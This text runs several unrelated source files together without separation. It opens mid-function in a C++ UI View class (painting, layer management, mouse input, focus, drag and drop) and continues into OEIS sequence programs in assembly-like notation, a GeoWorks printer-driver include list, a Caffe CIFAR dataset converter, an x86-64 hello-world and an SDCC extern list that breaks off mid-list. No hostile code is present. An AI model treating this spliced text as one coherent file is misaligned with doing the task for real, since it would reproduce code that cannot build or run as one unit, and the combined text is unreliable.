view_with_children) { // 64-bit pointer = 16 bytes of hex + "0x" + '\0' = 19. const size_t kMaxPointerStringLength = 19; std::string result; if (first) result.append("digraph {\n"); // Node characteristics. char p[kMaxPointerStringLength]; const std::string class_name(GetClassName()); size_t base_name_index = class_name.find_last_of('/'); if (base_name_index == std::string::npos) base_name_index = 0; else base_name_index++; char bounds_buffer[512]; // Information about current node. base::snprintf(p, arraysize(bounds_buffer), "%p", view_with_children); result.append(" N"); result.append(p + 2); result.append(" [label=\""); result.append(class_name.substr(base_name_index).c_str()); base::snprintf(bounds_buffer, arraysize(bounds_buffer), "\\n bounds: (%d, %d), (%dx%d)", bounds().x(), bounds().y(), bounds().width(), bounds().height()); result.append(bounds_buffer); gfx::DecomposedTransform decomp; if (!GetTransform().IsIdentity() && gfx::DecomposeTransform(&decomp, GetTransform())) { base::snprintf(bounds_buffer, arraysize(bounds_buffer), "\\n translation: (%f, %f)", decomp.translate[0], decomp.translate[1]); result.append(bounds_buffer); base::snprintf(bounds_buffer, arraysize(bounds_buffer), "\\n rotation: %3.2f", std::acos(decomp.quaternion[3]) * 360.0 / M_PI); result.append(bounds_buffer); base::snprintf(bounds_buffer, arraysize(bounds_buffer), "\\n scale: (%2.4f, %2.4f)", decomp.scale[0], decomp.scale[1]); result.append(bounds_buffer); } result.append("\""); if (!parent_) result.append(", shape=box"); if (layer()) { if (layer()->texture()) result.append(", color=green"); else result.append(", color=red"); if (layer()->fills_bounds_opaquely()) result.append(", style=filled"); } result.append("]\n"); // Link to parent. if (parent_) { char pp[kMaxPointerStringLength]; base::snprintf(pp, kMaxPointerStringLength, "%p", parent_); result.append(" N"); result.append(pp + 2); result.append(" -> N"); result.append(p + 2); result.append("\n"); } // Children. for (int i = 0, count = view_with_children->child_count(); i < count; ++i) result.append(view_with_children->child_at(i)->PrintViewGraph(false)); if (first) result.append("}\n"); return result; } #endif //////////////////////////////////////////////////////////////////////////////// // View, private: // DropInfo -------------------------------------------------------------------- void View::DragInfo::Reset() { possible_drag = false; start_pt = gfx::Point(); } void View::DragInfo::PossibleDrag(const gfx::Point& p) { possible_drag = true; start_pt = p; } // Painting -------------------------------------------------------------------- void View::SchedulePaintBoundsChanged(SchedulePaintType type) { // If we have a layer and the View's size did not change, we do not need to // schedule any paints since the layer will be redrawn at its new location // during the next Draw() cycle in the compositor. if (!layer() || type == SCHEDULE_PAINT_SIZE_CHANGED) { // Otherwise, if the size changes or we don't have a layer then we need to // use SchedulePaint to invalidate the area occupied by the View. SchedulePaint(); } else if (parent_ && type == SCHEDULE_PAINT_SIZE_SAME) { // The compositor doesn't Draw() until something on screen changes, so // if our position changes but nothing is being animated on screen, then // tell the compositor to redraw the scene. We know layer() exists due to // the above if clause. layer()->ScheduleDraw(); } } void View::PaintCommon(gfx::Canvas* canvas) { if (!visible_) return; { // If the View we are about to paint requested the canvas to be flipped, we // should change the transform appropriately. // The canvas mirroring is undone once the View is done painting so that we // don't pass the canvas with the mirrored transform to Views that didn't // request the canvas to be flipped. ScopedCanvas scoped(canvas); if (FlipCanvasOnPaintForRTLUI()) { canvas->Translate(gfx::Vector2d(width(), 0)); canvas->Scale(-1, 1); } OnPaint(canvas); } PaintChildren(canvas); } // Tree operations ------------------------------------------------------------- void View::DoRemoveChildView(View* view, bool update_focus_cycle, bool update_tool_tip, bool delete_removed_view, View* new_parent) { DCHECK(view); const Views::iterator i(std::find(children_.begin(), children_.end(), view)); scoped_ptr<View> view_to_be_deleted; if (i != children_.end()) { if (update_focus_cycle) { // Let's remove the view from the focus traversal. View* next_focusable = view->next_focusable_view_; View* prev_focusable = view->previous_focusable_view_; if (prev_focusable) prev_focusable->next_focusable_view_ = next_focusable; if (next_focusable) next_focusable->previous_focusable_view_ = prev_focusable; } if (GetWidget()) UnregisterChildrenForVisibleBoundsNotification(view); view->PropagateRemoveNotifications(this, new_parent); view->parent_ = NULL; view->UpdateLayerVisibility(); if (delete_removed_view && !view->owned_by_client_) view_to_be_deleted.reset(view); children_.erase(i); } if (update_tool_tip) UpdateTooltip(); if (layout_manager_.get()) layout_manager_->ViewRemoved(this, view); } void View::PropagateRemoveNotifications(View* old_parent, View* new_parent) { for (int i = 0, count = child_count(); i < count; ++i) child_at(i)->PropagateRemoveNotifications(old_parent, new_parent); ViewHierarchyChangedDetails details(false, old_parent, this, new_parent); for (View* v = this; v; v = v->parent_) v->ViewHierarchyChangedImpl(true, details); } void View::PropagateAddNotifications( const ViewHierarchyChangedDetails& details) { for (int i = 0, count = child_count(); i < count; ++i) child_at(i)->PropagateAddNotifications(details); ViewHierarchyChangedImpl(true, details); } void View::PropagateNativeViewHierarchyChanged(bool attached, gfx::NativeView native_view, internal::RootView* root_view) { for (int i = 0, count = child_count(); i < count; ++i) child_at(i)->PropagateNativeViewHierarchyChanged(attached, native_view, root_view); NativeViewHierarchyChanged(attached, native_view, root_view); } void View::ViewHierarchyChangedImpl( bool register_accelerators, const ViewHierarchyChangedDetails& details) { if (register_accelerators) { if (details.is_add) { // If you get this registration, you are part of a subtree that has been // added to the view hierarchy. if (GetFocusManager()) { RegisterPendingAccelerators(); } else { // Delay accelerator registration until visible as we do not have // focus manager until then. accelerator_registration_delayed_ = true; } } else { if (details.child == this) UnregisterAccelerators(true); } } if (details.is_add && layer() && !layer()->parent()) { UpdateParentLayer(); Widget* widget = GetWidget(); if (widget) widget->UpdateRootLayers(); } else if (!details.is_add && details.child == this) { // Make sure the layers beloning to the subtree rooted at |child| get // removed from layers that do not belong in the same subtree. OrphanLayers(); if (use_acceleration_when_possible) { Widget* widget = GetWidget(); if (widget) widget->UpdateRootLayers(); } } ViewHierarchyChanged(details); details.parent->needs_layout_ = true; } void View::PropagateNativeThemeChanged(const ui::NativeTheme* theme) { for (int i = 0, count = child_count(); i < count; ++i) child_at(i)->PropagateNativeThemeChanged(theme); OnNativeThemeChanged(theme); } // Size and disposition -------------------------------------------------------- void View::PropagateVisibilityNotifications(View* start, bool is_visible) { for (int i = 0, count = child_count(); i < count; ++i) child_at(i)->PropagateVisibilityNotifications(start, is_visible); VisibilityChangedImpl(start, is_visible); } void View::VisibilityChangedImpl(View* starting_from, bool is_visible) { VisibilityChanged(starting_from, is_visible); } void View::BoundsChanged(const gfx::Rect& previous_bounds) { if (visible_) { // Paint the new bounds. SchedulePaintBoundsChanged( bounds_.size() == previous_bounds.size() ? SCHEDULE_PAINT_SIZE_SAME : SCHEDULE_PAINT_SIZE_CHANGED); } if (use_acceleration_when_possible) { if (layer()) { if (parent_) { SetLayerBounds(GetLocalBounds() + gfx::Vector2d(GetMirroredX(), y()) + parent_->CalculateOffsetToAncestorWithLayer(NULL)); } else { SetLayerBounds(bounds_); } // TODO(beng): this seems redundant with the SchedulePaint at the top of // this function. explore collapsing. if (previous_bounds.size() != bounds_.size() && !layer()->layer_updated_externally()) { // If our bounds have changed then we need to update the complete // texture. layer()->SchedulePaint(GetLocalBounds()); } } else { // If our bounds have changed, then any descendant layer bounds may // have changed. Update them accordingly. UpdateChildLayerBounds(CalculateOffsetToAncestorWithLayer(NULL)); } } OnBoundsChanged(previous_bounds); if (previous_bounds.size() != size()) { needs_layout_ = false; Layout(); } if (NeedsNotificationWhenVisibleBoundsChange()) OnVisibleBoundsChanged(); // Notify interested Views that visible bounds within the root view may have // changed. if (descendants_to_notify_.get()) { for (Views::iterator i(descendants_to_notify_->begin()); i != descendants_to_notify_->end(); ++i) { (*i)->OnVisibleBoundsChanged(); } } } // static void View::RegisterChildrenForVisibleBoundsNotification(View* view) { if (view->NeedsNotificationWhenVisibleBoundsChange()) view->RegisterForVisibleBoundsNotification(); for (int i = 0; i < view->child_count(); ++i) RegisterChildrenForVisibleBoundsNotification(view->child_at(i)); } // static void View::UnregisterChildrenForVisibleBoundsNotification(View* view) { if (view->NeedsNotificationWhenVisibleBoundsChange()) view->UnregisterForVisibleBoundsNotification(); for (int i = 0; i < view->child_count(); ++i) UnregisterChildrenForVisibleBoundsNotification(view->child_at(i)); } void View::RegisterForVisibleBoundsNotification() { if (registered_for_visible_bounds_notification_) return; registered_for_visible_bounds_notification_ = true; for (View* ancestor = parent_; ancestor; ancestor = ancestor->parent_) ancestor->AddDescendantToNotify(this); } void View::UnregisterForVisibleBoundsNotification() { if (!registered_for_visible_bounds_notification_) return; registered_for_visible_bounds_notification_ = false; for (View* ancestor = parent_; ancestor; ancestor = ancestor->parent_) ancestor->RemoveDescendantToNotify(this); } void View::AddDescendantToNotify(View* view) { DCHECK(view); if (!descendants_to_notify_.get()) descendants_to_notify_.reset(new Views); descendants_to_notify_->push_back(view); } void View::RemoveDescendantToNotify(View* view) { DCHECK(view && descendants_to_notify_.get()); Views::iterator i(std::find( descendants_to_notify_->begin(), descendants_to_notify_->end(), view)); DCHECK(i != descendants_to_notify_->end()); descendants_to_notify_->erase(i); if (descendants_to_notify_->empty()) descendants_to_notify_.reset(); } void View::SetLayerBounds(const gfx::Rect& bounds) { layer()->SetBounds(bounds); } // Transformations ------------------------------------------------------------- bool View::GetTransformRelativeTo(const View* ancestor, gfx::Transform* transform) const { const View* p = this; while (p && p != ancestor) { transform->ConcatTransform(p->GetTransform()); gfx::Transform translation; translation.Translate(static_cast<float>(p->GetMirroredX()), static_cast<float>(p->y())); transform->ConcatTransform(translation); p = p->parent_; } return p == ancestor; } // Coordinate conversion ------------------------------------------------------- bool View::ConvertPointForAncestor(const View* ancestor, gfx::Point* point) const { gfx::Transform trans; // TODO(sad): Have some way of caching the transformation results. bool result = GetTransformRelativeTo(ancestor, &trans); gfx::Point3F p(*point); trans.TransformPoint(p); *point = gfx::ToFlooredPoint(p.AsPointF()); return result; } bool View::ConvertPointFromAncestor(const View* ancestor, gfx::Point* point) const { gfx::Transform trans; bool result = GetTransformRelativeTo(ancestor, &trans); gfx::Point3F p(*point); trans.TransformPointReverse(p); *point = gfx::ToFlooredPoint(p.AsPointF()); return result; } // Accelerated painting -------------------------------------------------------- void View::CreateLayer() { // A new layer is being created for the view. So all the layers of the // sub-tree can inherit the visibility of the corresponding view. for (int i = 0, count = child_count(); i < count; ++i) child_at(i)->UpdateChildLayerVisibility(true); layer_ = new ui::Layer(); layer_owner_.reset(layer_); layer_->set_delegate(this); #if !defined(NDEBUG) layer_->set_name(GetClassName()); #endif UpdateParentLayers(); UpdateLayerVisibility(); // The new layer needs to be ordered in the layer tree according // to the view tree. Children of this layer were added in order // in UpdateParentLayers(). if (parent()) parent()->ReorderLayers(); Widget* widget = GetWidget(); if (widget) widget->UpdateRootLayers(); } void View::UpdateParentLayers() { // Attach all top-level un-parented layers. if (layer() && !layer()->parent()) { UpdateParentLayer(); } else { for (int i = 0, count = child_count(); i < count; ++i) child_at(i)->UpdateParentLayers(); } } void View::OrphanLayers() { if (layer()) { if (layer()->parent()) layer()->parent()->Remove(layer()); // The layer belonging to this View has already been orphaned. It is not // necessary to orphan the child layers. return; } for (int i = 0, count = child_count(); i < count; ++i) child_at(i)->OrphanLayers(); } void View::ReparentLayer(const gfx::Vector2d& offset, ui::Layer* parent_layer) { layer_->SetBounds(GetLocalBounds() + offset); DCHECK_NE(layer(), parent_layer); if (parent_layer) parent_layer->Add(layer()); layer_->SchedulePaint(GetLocalBounds()); MoveLayerToParent(layer(), gfx::Point()); } void View::DestroyLayer() { ui::Layer* new_parent = layer()->parent(); std::vector<ui::Layer*> children = layer()->children(); for (size_t i = 0; i < children.size(); ++i) { layer()->Remove(children[i]); if (new_parent) new_parent->Add(children[i]); } layer_ = NULL; layer_owner_.reset(); if (new_parent) ReorderLayers(); UpdateChildLayerBounds(CalculateOffsetToAncestorWithLayer(NULL)); SchedulePaint(); Widget* widget = GetWidget(); if (widget) widget->UpdateRootLayers(); } // Input ----------------------------------------------------------------------- bool View::ProcessMousePressed(const ui::MouseEvent& event) { int drag_operations = (enabled_ && event.IsOnlyLeftMouseButton() && HitTestPoint(event.location())) ? GetDragOperations(event.location()) : 0; ContextMenuController* context_menu_controller = event.IsRightMouseButton() ? context_menu_controller_ : 0; View::DragInfo* drag_info = GetDragInfo(); const bool enabled = enabled_; const bool result = OnMousePressed(event); if (!enabled) return result; if (event.IsOnlyRightMouseButton() && context_menu_controller && kContextMenuOnMousePress) { // Assume that if there is a context menu controller we won't be deleted // from mouse pressed. gfx::Point location(event.location()); if (HitTestPoint(location)) { ConvertPointToScreen(this, &location); ShowContextMenu(location, ui::MENU_SOURCE_MOUSE); return true; } } // WARNING: we may have been deleted, don't use any View variables. if (drag_operations != ui::DragDropTypes::DRAG_NONE) { drag_info->PossibleDrag(event.location()); return true; } return !!context_menu_controller || result; } bool View::ProcessMouseDragged(const ui::MouseEvent& event) { // Copy the field, that way if we're deleted after drag and drop no harm is // done. ContextMenuController* context_menu_controller = context_menu_controller_; const bool possible_drag = GetDragInfo()->possible_drag; if (possible_drag && ExceededDragThreshold(GetDragInfo()->start_pt - event.location()) && (!drag_controller_ || drag_controller_->CanStartDragForView( this, GetDragInfo()->start_pt, event.location()))) { DoDrag(event, GetDragInfo()->start_pt, ui::DragDropTypes::DRAG_EVENT_SOURCE_MOUSE); } else { if (OnMouseDragged(event)) return true; // Fall through to return value based on context menu controller. } // WARNING: we may have been deleted. return (context_menu_controller != NULL) || possible_drag; } void View::ProcessMouseReleased(const ui::MouseEvent& event) { if (!kContextMenuOnMousePress && context_menu_controller_ && event.IsOnlyRightMouseButton()) { // Assume that if there is a context menu controller we won't be deleted // from mouse released. gfx::Point location(event.location()); OnMouseReleased(event); if (HitTestPoint(location)) { ConvertPointToScreen(this, &location); ShowContextMenu(location, ui::MENU_SOURCE_MOUSE); } } else { OnMouseReleased(event); } // WARNING: we may have been deleted. } // Accelerators ---------------------------------------------------------------- void View::RegisterPendingAccelerators() { if (!accelerators_.get() || registered_accelerator_count_ == accelerators_->size()) { // No accelerators are waiting for registration. return; } if (!GetWidget()) { // The view is not yet attached to a widget, defer registration until then. return; } accelerator_focus_manager_ = GetFocusManager(); if (!accelerator_focus_manager_) { // Some crash reports seem to show that we may get cases where we have no // focus manager (see bug #1291225). This should never be the case, just // making sure we don't crash. NOTREACHED(); return; } for (std::vector<ui::Accelerator>::const_iterator i( accelerators_->begin() + registered_accelerator_count_); i != accelerators_->end(); ++i) { accelerator_focus_manager_->RegisterAccelerator( *i, ui::AcceleratorManager::kNormalPriority, this); } registered_accelerator_count_ = accelerators_->size(); } void View::UnregisterAccelerators(bool leave_data_intact) { if (!accelerators_.get()) return; if (GetWidget()) { if (accelerator_focus_manager_) { // We may not have a FocusManager if the window containing us is being // closed, in which case the FocusManager is being deleted so there is // nothing to unregister. accelerator_focus_manager_->UnregisterAccelerators(this); accelerator_focus_manager_ = NULL; } if (!leave_data_intact) { accelerators_->clear(); accelerators_.reset(); } registered_accelerator_count_ = 0; } } // Focus ----------------------------------------------------------------------- void View::InitFocusSiblings(View* v, int index) { int count = child_count(); if (count == 0) { v->next_focusable_view_ = NULL; v->previous_focusable_view_ = NULL; } else { if (index == count) { // We are inserting at the end, but the end of the child list may not be // the last focusable element. Let's try to find an element with no next // focusable element to link to. View* last_focusable_view = NULL; for (Views::iterator i(children_.begin()); i != children_.end(); ++i) { if (!(*i)->next_focusable_view_) { last_focusable_view = *i; break; } } if (last_focusable_view == NULL) { // Hum... there is a cycle in the focus list. Let's just insert ourself // after the last child. View* prev = children_[index - 1]; v->previous_focusable_view_ = prev; v->next_focusable_view_ = prev->next_focusable_view_; prev->next_focusable_view_->previous_focusable_view_ = v; prev->next_focusable_view_ = v; } else { last_focusable_view->next_focusable_view_ = v; v->next_focusable_view_ = NULL; v->previous_focusable_view_ = last_focusable_view; } } else { View* prev = children_[index]->GetPreviousFocusableView(); v->previous_focusable_view_ = prev; v->next_focusable_view_ = children_[index]; if (prev) prev->next_focusable_view_ = v; children_[index]->previous_focusable_view_ = v; } } } // System events --------------------------------------------------------------- void View::PropagateThemeChanged() { for (int i = child_count() - 1; i >= 0; --i) child_at(i)->PropagateThemeChanged(); OnThemeChanged(); } void View::PropagateLocaleChanged() { for (int i = child_count() - 1; i >= 0; --i) child_at(i)->PropagateLocaleChanged(); OnLocaleChanged(); } // Tooltips -------------------------------------------------------------------- void View::UpdateTooltip() { Widget* widget = GetWidget(); // TODO(beng): The TooltipManager NULL check can be removed when we // consolidate Init() methods and make views_unittests Init() all // Widgets that it uses. if (widget && widget->native_widget_private()->GetTooltipManager()) widget->native_widget_private()->GetTooltipManager()->UpdateTooltip(); } // Drag and drop --------------------------------------------------------------- bool View::DoDrag(const ui::LocatedEvent& event, const gfx::Point& press_pt, ui::DragDropTypes::DragEventSource source) { #if !defined(OS_MACOSX) int drag_operations = GetDragOperations(press_pt); if (drag_operations == ui::DragDropTypes::DRAG_NONE) return false; OSExchangeData data; WriteDragData(press_pt, &data); // Message the RootView to do the drag and drop. That way if we're removed // the RootView can detect it and avoid calling us back. gfx::Point widget_location(event.location()); ConvertPointToWidget(this, &widget_location); GetWidget()->RunShellDrag(this, data, widget_location, drag_operations, source); return true; #else return false; #endif // !defined(OS_MACOSX) } } // namespace views
; A100148: Structured small rhombicosidodecahedral numbers. ; Submitted by Christian Krause ; 1,60,285,784,1665,3036,5005,7680,11169,15580,21021,27600,35425,44604,55245,67456,81345,97020,114589,134160,155841,179740,205965,234624,265825,299676,336285,375760,418209,463740,512461,564480,619905,678844,741405,807696,877825,951900,1030029,1112320,1198881,1289820,1385245,1485264,1589985,1699516,1813965,1933440,2058049,2187900,2323101,2463760,2609985,2761884,2919565,3083136,3252705,3428380,3610269,3798480,3993121,4194300,4402125,4616704,4838145,5066556,5302045,5544720,5794689,6052060,6316941 mul $0,2 mov $1,3 mov $2,$0 mul $0,17 add $2,4 add $0,$2 sub $1,$2 bin $1,2 mul $1,$0 mov $0,$1 div $0,4
; A285977: Positions of 1 in A285975; complement of A285976. ; 2,3,5,7,8,10,12,13,15,17,19,20,22,23,25,27,28,30,32,33,35,36,38,40,42,43,45,47,48,50,52,53,55,57,59,60,62,63,65,67,69,70,72,74,75,77,79,80,82,83,85,87,88,90,92,93,95,97,99,100,102,103,105,107,108,110,112,113,115,116,118,120,122,123,125,127,128,130,132,133,135,136,138,140,141,143,145,146,148,150,152,153,155,156,158,160,162,163,165,167,168,170,172,173,175,177,179,180,182,183,185,187,188,190,192,193,195,196,198,200,202,203,205,207,208,210,212,213,215,217,219,220,222,223,225,227,229,230,232,234,235,237,239,240,242,243,245,247,248,250,252,253,255,257,259,260,262,263,265,267,269,270,272,274,275,277,279,280,282,284,286,287,289,290,292,294,295,297,299,300,302,303,305,307,309,310,312,314,315,317,319,320,322,323,325,327,328,330,332,333,335,337,339,340,342,343,345,347,348,350,352,353,355,356,358,360,362,363,365,367,368,370,372,373,375,377,379,380,382,383,385,387,389,390,392,394,395,397,399,400,402,403,405,407,408,410,412,413,415,417 mov $8,$0 add $8,1 lpb $8,1 sub $8,1 sub $0,$8 mov $9,$0 mov $11,2 lpb $11,1 mov $0,$9 sub $11,1 add $0,$11 sub $0,1 mul $0,8 add $0,1 mov $3,7 mov $6,1 lpb $0,1 mov $2,2 sub $2,$0 sub $2,1 add $3,$0 mov $5,$2 sub $5,$6 mov $0,$5 div $0,2 mov $4,2 lpe mov $0,$4 div $0,$4 mul $0,3 sub $0,4 mov $7,$3 div $7,$4 sub $7,$4 add $7,1 mov $2,$7 mov $12,$11 lpb $12,1 mov $10,$2 sub $12,1 lpe lpe lpb $9,1 mov $9,0 sub $10,$2 lpe mov $2,$10 sub $2,1 add $1,$2 lpe
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1993 -- All Rights Reserved PROJECT: PC GEOS MODULE: Printer Drivers FILE: grpr9Text.asm AUTHOR: Dave Durran ROUTINES: REVISION HISTORY: Name Date Description ---- ---- ----------- Dave 2/93 Initial version from parsed routines DESCRIPTION: This file contains most of the code to implement common IBM Graphics print driver ascii text support $Id: grpr9Text.asm,v 1.1 97/04/18 11:55:28 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ include Text/textPrintStyleRun.asm include Text/textPrintText.asm include Text/textPrintRaw.asm include Text/textSetFont.asm include Text/textGetLineSpacing.asm include Text/textSetLineSpacing.asm include Text/textSetSymbolSet.asm include Text/textLoadNoISOSymbolSet.asm include Text/Font/fontIBMGrprInfo.asm
// // This script converts the CIFAR dataset to the leveldb format used // by caffe to perform classification. // Usage: // convert_cifar_data input_folder output_db_file // The CIFAR dataset could be downloaded at // http://www.cs.toronto.edu/~kriz/cifar.html #include <fstream> // NOLINT(readability/streams) #include <string> #include "boost/scoped_ptr.hpp" #define GLOG_NO_ABBREVIATED_SEVERITIES #include "glog/logging.h" #include "google/protobuf/text_format.h" #include "stdint.h" #include "caffe/proto/caffe.pb.h" #include "caffe/util/db.hpp" #include "caffe/util/format.hpp" using caffe::Datum; using boost::scoped_ptr; using std::string; namespace db = caffe::db; const int kCIFARSize = 32; const int kCIFARImageNBytes = 3072; const int kCIFARBatchSize = 10000; const int kCIFARTrainBatches = 5; void read_image(std::ifstream* file, int* label, char* buffer) { char label_char; file->read(&label_char, 1); *label = label_char; file->read(buffer, kCIFARImageNBytes); return; } void convert_dataset(const string& input_folder, const string& output_folder, const string& db_type) { scoped_ptr<db::DB> train_db(db::GetDB(db_type)); train_db->Open(output_folder + "/cifar10_train_" + db_type, db::NEW); scoped_ptr<db::Transaction> txn(train_db->NewTransaction()); // Data buffer int label; char str_buffer[kCIFARImageNBytes]; Datum datum; datum.set_channels(3); datum.set_height(kCIFARSize); datum.set_width(kCIFARSize); LOG(INFO) << "Writing Training data"; for (int fileid = 0; fileid < kCIFARTrainBatches; ++fileid) { // Open files LOG(INFO) << "Training Batch " << fileid + 1; string batchFileName = input_folder + "/data_batch_" + caffe::format_int(fileid+1) + ".bin"; std::ifstream data_file(batchFileName.c_str(), std::ios::in | std::ios::binary); CHECK(data_file) << "Unable to open train file #" << fileid + 1; for (int itemid = 0; itemid < kCIFARBatchSize; ++itemid) { read_image(&data_file, &label, str_buffer); datum.set_label(label); datum.set_data(str_buffer, kCIFARImageNBytes); string out; CHECK(datum.SerializeToString(&out)); txn->Put(caffe::format_int(fileid * kCIFARBatchSize + itemid, 5), out); } } txn->Commit(); train_db->Close(); LOG(INFO) << "Writing Testing data"; scoped_ptr<db::DB> test_db(db::GetDB(db_type)); test_db->Open(output_folder + "/cifar10_test_" + db_type, db::NEW); txn.reset(test_db->NewTransaction()); // Open files std::ifstream data_file((input_folder + "/test_batch.bin").c_str(), std::ios::in | std::ios::binary); CHECK(data_file) << "Unable to open test file."; for (int itemid = 0; itemid < kCIFARBatchSize; ++itemid) { read_image(&data_file, &label, str_buffer); datum.set_label(label); datum.set_data(str_buffer, kCIFARImageNBytes); string out; CHECK(datum.SerializeToString(&out)); txn->Put(caffe::format_int(itemid, 5), out); } txn->Commit(); test_db->Close(); } int main(int argc, char** argv) { FLAGS_alsologtostderr = 1; if (argc != 4) { printf("This script converts the CIFAR dataset to the leveldb format used\n" "by caffe to perform classification.\n" "Usage:\n" " convert_cifar_data input_folder output_folder db_type\n" "Where the input folder should contain the binary batch files.\n" "The CIFAR dataset could be downloaded at\n" " http://www.cs.toronto.edu/~kriz/cifar.html\n" "You should gunzip them after downloading.\n"); } else { google::InitGoogleLogging(argv[0]); convert_dataset(string(argv[1]), string(argv[2]), string(argv[3])); } return 0; }
; hello.asm section .data msg db "Hello World",0 section .bss section .text global main main: mov rax, 1 ; 1 = write mov rdi, 1 ; 1 = to stdout mov rsi, msg ; string to display in rsi mov rdx, 12 ; length of the string, without 0 syscall ; display the string mov rax, 60 ; 60 = exit mov rdi, 0 ; 0 = success exit code syscall ; quit
;-------------------------------------------------------- ; File Created by SDCC : free open source ANSI-C Compiler ; Version 4.0.7 #12017 (Linux) ;-------------------------------------------------------- ; Processed by Z88DK ;-------------------------------------------------------- EXTERN __divschar EXTERN __divschar_callee EXTERN __divsint EXTERN __divsint_callee EXTERN __divslong EXTERN __divslong_callee EXTERN __divslonglong EXTERN __divslonglong_callee EXTERN __divsuchar EXTERN __divsuchar_callee EXTERN __divuchar EXTERN __divuchar_callee EXTERN __divuint EXTERN __divuint_callee EXTERN __divulong EXTERN __divulong_callee EXTERN __divulonglong EXTERN __divulonglong_callee EXTERN __divuschar EXTERN __divuschar_callee EXTERN __modschar EXTERN __modschar_callee EXTERN __modsint EXTERN __modsint_callee EXTERN __modslong EXTERN __modslong_callee EXTERN __modslonglong EXTERN __modslonglong_callee EXTERN __modsuchar EXTERN __modsuchar_callee EXTERN __moduchar EXTERN __moduchar_callee EXTERN __moduint EXTERN __moduint_callee EXTERN __modulong EXTERN __modulong_callee EXTERN __modulonglong EXTERN __modulonglong_callee EXTERN __moduschar EXTERN __moduschar_callee EXTERN __mulint EXTERN __mulint_callee EXTERN __mullong EXTERN __mullong_callee EXTERN __mullonglong EXTERN __mullonglong_callee EXTERN __mulschar EXTERN __mulschar_callee EXTERN __mulsuchar EXTERN __mulsuchar_callee EXTERN __muluchar EXTERN __muluchar_callee EXTERN __muluschar EXTERN __muluschar_callee EXTERN __rlslonglong EXTERN __rlslonglong_callee EXTERN __rlulonglong EXTERN __rlulonglong_callee EXTERN __rrslonglong EXTERN __rrslonglong_callee EXTERN __rrulonglong EXTERN __rrulonglong_callee EXTERN ___sdcc_call_hl EXTERN ___sdcc_call_iy EXTERN ___sdcc_enter_ix EXTERN banked_call EXTERN _banked_ret EXTERN ___fs2schar EXTERN ___fs2schar_callee EXTERN ___fs2sint EXTERN ___fs2sint_callee EXTERN ___fs2slong EXTERN ___fs2slong_callee EXTERN ___fs2slonglong EXTERN ___fs2slonglong_callee EXTERN ___fs2uchar EXTERN ___fs2uchar_callee EXTERN ___fs2uint EXTERN ___fs2uint_callee EXTERN ___fs2ulong EXTERN ___fs2ulong_callee EXTERN ___fs2ulonglong EXTERN ___fs2ulonglong_callee EXTERN ___fsadd EXTERN ___fsadd_callee EXTERN ___fsdiv EXTERN ___fsdiv_callee EXTERN ___fseq EXTERN ___fseq_callee EXTERN ___fsgt EXTERN ___fsgt_callee EXTERN ___fslt EXTERN ___fslt_callee EXTERN ___fsmul EXTERN ___fsmul_callee EXTERN ___fsneq EXTERN ___fsneq_callee EXTERN ___fssub EXTERN ___fssub_callee EXTERN ___schar2fs EXTERN ___schar2fs_callee EXTERN ___sint2fs EXTERN ___sint2fs_callee EXTERN ___slong2fs EXTERN ___slong2fs_callee EXTERN ___slonglong2fs EXTERN ___slonglong2fs_callee EXTERN ___uchar2fs EXTERN ___uchar2fs_callee EXTERN ___uint2fs EXTERN ___uint2fs_callee EXTERN ___ulong2fs EXTERN ___ulong2fs_callee EXTERN ___ulonglong2fs EXTERN ___ulonglong2fs_callee EXTERN ____sdcc_2_copy_src_mhl_dst_deix EXTERN ____sdcc_2_copy_src_mhl_dst_bcix EXTERN ____sdcc_4_copy_src_mhl_dst_deix EXTERN ____sdcc_4_copy_src_mhl_dst_bcix EXTERN ____sdcc_4_copy_src_mhl_dst_mbc EXTERN ____sdcc_4_ldi_nosave_bc EXTERN ____sdcc_4_ldi_save_bc EXTERN ____sdcc_4_push_hlix EXTERN ____sdcc_4_push_mhl EXTERN ____sdcc_lib_setmem_hl EXTERN ____sdcc_ll_add_de_bc_hl EXTERN ____sdcc_ll_add_de_bc_hlix EXTERN ____sdcc_ll_add_de_hlix_bc EXTERN ____sdcc_ll_add_de_hlix_bcix EXTERN ____sdcc_ll_add_deix_bc_hl EXTERN ____sdcc_ll_add_deix_hlix EXTERN ____sdcc_ll_add_hlix_bc_deix EXTERN ____sdcc_ll_add_hlix_deix_bc EXTERN ____sdcc_ll_add_hlix_deix_bcix EXTERN ____sdcc_ll_asr_hlix_a EXTERN ____sdcc_ll_asr_mbc_a EXTERN ____sdcc_ll_copy_src_de_dst_hlix EXTERN ____sdcc_ll_copy_src_de_dst_hlsp EXTERN ____sdcc_ll_copy_src_deix_dst_hl EXTERN ____sdcc_ll_copy_src_deix_dst_hlix EXTERN ____sdcc_ll_copy_src_deixm_dst_hlsp EXTERN ____sdcc_ll_copy_src_desp_dst_hlsp EXTERN ____sdcc_ll_copy_src_hl_dst_de EXTERN ____sdcc_ll_copy_src_hlsp_dst_de EXTERN ____sdcc_ll_copy_src_hlsp_dst_deixm EXTERN ____sdcc_ll_lsl_hlix_a EXTERN ____sdcc_ll_lsl_mbc_a EXTERN ____sdcc_ll_lsr_hlix_a EXTERN ____sdcc_ll_lsr_mbc_a EXTERN ____sdcc_ll_push_hlix EXTERN ____sdcc_ll_push_mhl EXTERN ____sdcc_ll_sub_de_bc_hl EXTERN ____sdcc_ll_sub_de_bc_hlix EXTERN ____sdcc_ll_sub_de_hlix_bc EXTERN ____sdcc_ll_sub_de_hlix_bcix EXTERN ____sdcc_ll_sub_deix_bc_hl EXTERN ____sdcc_ll_sub_deix_hlix EXTERN ____sdcc_ll_sub_hlix_bc_deix EXTERN ____sdcc_ll_sub_hlix_deix_bc EXTERN ____sdcc_ll_sub_hlix_deix_bcix EXTERN ____sdcc_load_debc_deix EXTERN ____sdcc_load_dehl_deix EXTERN ____sdcc_load_debc_mhl EXTERN ____sdcc_load_hlde_mhl EXTERN ____sdcc_store_dehl_bcix EXTERN ____sdcc_store_debc_hlix EXTERN ____sdcc_store_debc_mhl EXTERN ____sdcc_cpu_pop_ei EXTERN ____sdcc_cpu_pop_ei_jp EXTERN ____sdcc_cpu_push_di EXTERN ____sdcc_outi EXTERN ____sdcc_outi_128 EXTERN ____sdcc_outi_256 EXTERN ____sdcc_ldi 